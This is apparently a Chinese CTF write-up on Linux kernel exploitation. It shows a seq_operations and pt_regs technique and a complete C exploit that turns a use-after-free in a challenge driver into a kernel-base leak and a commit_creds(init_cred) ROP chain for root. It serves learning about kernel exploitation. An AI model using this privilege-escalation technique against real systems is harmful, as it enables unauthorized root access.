0x01.前置知识:
seq_operations结构体
seq_operations(kmalloc-32 | GFP_KERNEL_ACCOUNT):seq_file 函数表
seq_file会单独从seq_file_cache分配,一般难以控制。其结构体为:
struct seq_file {
char *buf;
size_t size;
size_t from;
size_t count;
size_t pad_until;
loff_t index;
loff_t read_pos;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};
而其中seq_operations函数表结构体可以打开/proc/self/stat来获取,
该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
总结
- 通过
open("/proc/self/stat", O_RDONLY)来打开 - 大小:
kmalloc-32 - 分配flag:
GFP_KERNEL_ACCOUNT - 泄露内核基地址
- 不带参数劫持程序控制流(通常搭配pt_regs)
打开方式
以只读方式打开文件/proc/self/stat,申请得到的是seq_operations结构体,注意不是seq_file。
利用
数据泄露 - 泄露内核基地址
seq_operations函数表中的第一个函数指针start即为函数single_start函数的地址,可以用于泄露内核基地址:
/ # cat /proc/kallsyms | grep 'single_start'
ffffffffb6c4b160 T single_start
其实其余的同理,即single_stop,single_next,single_show
劫持程序控制流
覆盖seq_operations函数表中的函数指针start。
对该结构体调用read,即可以触发seq_operations->start控制程序执行流。
注意参数不可控,一般可能需要配合pt_regs等结构体。
若需要调试,可以暂停到seq_read_iter函数,其会调用seq_operations->start
struct pt_regs 结构体
对于 pt_regs 结构体可以看我的这篇博客:kernel pwn 入门(四) ret2dir详细
这里需要注意的是:
提权之后借助swapgs_restore_regs_and_return_to_usermode函数中的pop系列来调整栈,即借用了几个栈的位置,就得少几个pop,以本题为例,如图借用了5个栈数据,那么我们最后就得使得该函数少pop5个,即将swapgs_restore_regs_and_return_to_usermode函数的gadget+=9即可。

如上修改之后就可以当进入到该函数的swapgs的时候,将栈调整至最开始因为syscall而形成的保存pt_regs结构体中的用户态数据的地方,使得提权之后成功返回用户态
struct pt_regs {
//.....................
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
0x02.题目分析
首先查看启动脚本
start.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"
开了 SMEP 和 KASLR,意味着不能执行用户态代码
init
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /test.ko
chmod 666 /dev/kerpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /tmp
poweroff -d 0 -f
正规!!!
逆向分析

rsi == 0x30的时候是free操作,存在 UAF
rsi == 0x20的时候是alloc操作,只能分配不超过0x20的大小

比较正常的show函数,和edit函数,由于存在UAF,所以操作的地方很多。
对于alloc函数,我们要传入如下结构体:
struct alloc
{
size_t size;
void *buf;
};
free函数,传入:
struct delete{
size_t idx;
};
其他两个都用下面的结构体:
struct req{
size_t idx;
size_t size;
void *buf;
};
利用
综上分析,我们可以利用UAF漏洞,使得seq_operations占用0x20大小的obj
,然后利用show函数泄露地址,再利用edit函数,修改start的地址为 gadget的地址劫持程序执行流
exp
#include "kernel_pwn.h"
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t add_rsp_gadget = 0xffffffff8135b0f6; //add rsp,0x180 ; pop ?? * 5 ; ret
size_t commit_creds = 0xffffffff810c8d40;
size_t init_cred = 0xffffffff82663300;
size_t swapgs_restore_regs_and_r = 0xffffffff81c00f30;
size_t pop_rdi = 0xffffffff81089250;
int fd;
int seq_fd;
struct alloc
{
size_t size;
void *buf;
};
struct delete{
size_t idx;
};
struct req{
size_t idx;
size_t size;
void *buf;
};
void add(size_t size,void* data){
struct alloc req = {
.size = size,
.buf = data
};
binary_dump((char*)&req,0x10,0);
ioctl(fd,0x20,&req);
}
void del(size_t idx){
struct delete del = {
.idx = idx
};
ioctl(fd,0x30,&del);
}
void show(size_t idx,size_t size,void* buf){
struct req req1 = {
.idx = idx,
.size = size,
.buf = buf
};
ioctl(fd,0x40,&req1);
}
void edit(size_t idx,size_t size,void* buf){
struct req req1 = {
.idx = idx,
.size = size,
.buf = buf
};
ioctl(fd,0x50,&req1);
}
int main(){
bind_core(0);
save_status();
size_t rop[0x100] = {0};
char data[0x20] = {0};
char buf[0x100] = {0};
fd = open("/dev/kerpwn",2);
if(fd<0){
err_exit("fd open failed....");
}
add(0x20,data); //0
del(0);
seq_fd = open("/proc/self/stat",O_RDONLY);
if (seq_fd < 0)
{
err_exit("seq_id open failed...");
}
show(0,0x100,buf);
binary_dump(buf,0x100,0);
size_t single_start_addr = *(size_t*)buf;
kernel_base = single_start_addr - 0x319d30;
size_t offset = kernel_base - nokalsr_kernel_base;
add_rsp_gadget += offset;
commit_creds += offset;
init_cred += offset;
swapgs_restore_regs_and_r += offset+0x9;
pop_rdi += offset;
show_addr("kernel_base",kernel_base);
show_addr("add_rsp_gadget",add_rsp_gadget);
show_addr("swapgs_restore_regs_and_r",swapgs_restore_regs_and_r);
show_addr("init_cred",init_cred);
int idx = 0;
rop[idx++] = add_rsp_gadget;
edit(0,0x8,rop);
show(0,0x20,buf);
binary_dump(buf,0x10,0);
// sleep(10);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_r;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
get_shell();
return 0;
}
gadget如下:
ffffffff8135b0f6: 48 81 c4 80 01 00 00 add rsp,0x180
ffffffff8135b0fd: 5b pop rbx
ffffffff8135b0fe: 41 5c pop r12
ffffffff8135b100: 41 5d pop r13
ffffffff8135b102: 41 5e pop r14
ffffffff8135b104: 5d pop rbp
ffffffff8135b105: c3 ret
调试

Dump后看到seq_operations第一个函数的地址被我们改成了gadget的地址,
执行read函数时,程序被劫持到我们gadget的位置执行。

最后pt_regs形成如下:

2018

被折叠的 条评论
为什么被折叠?



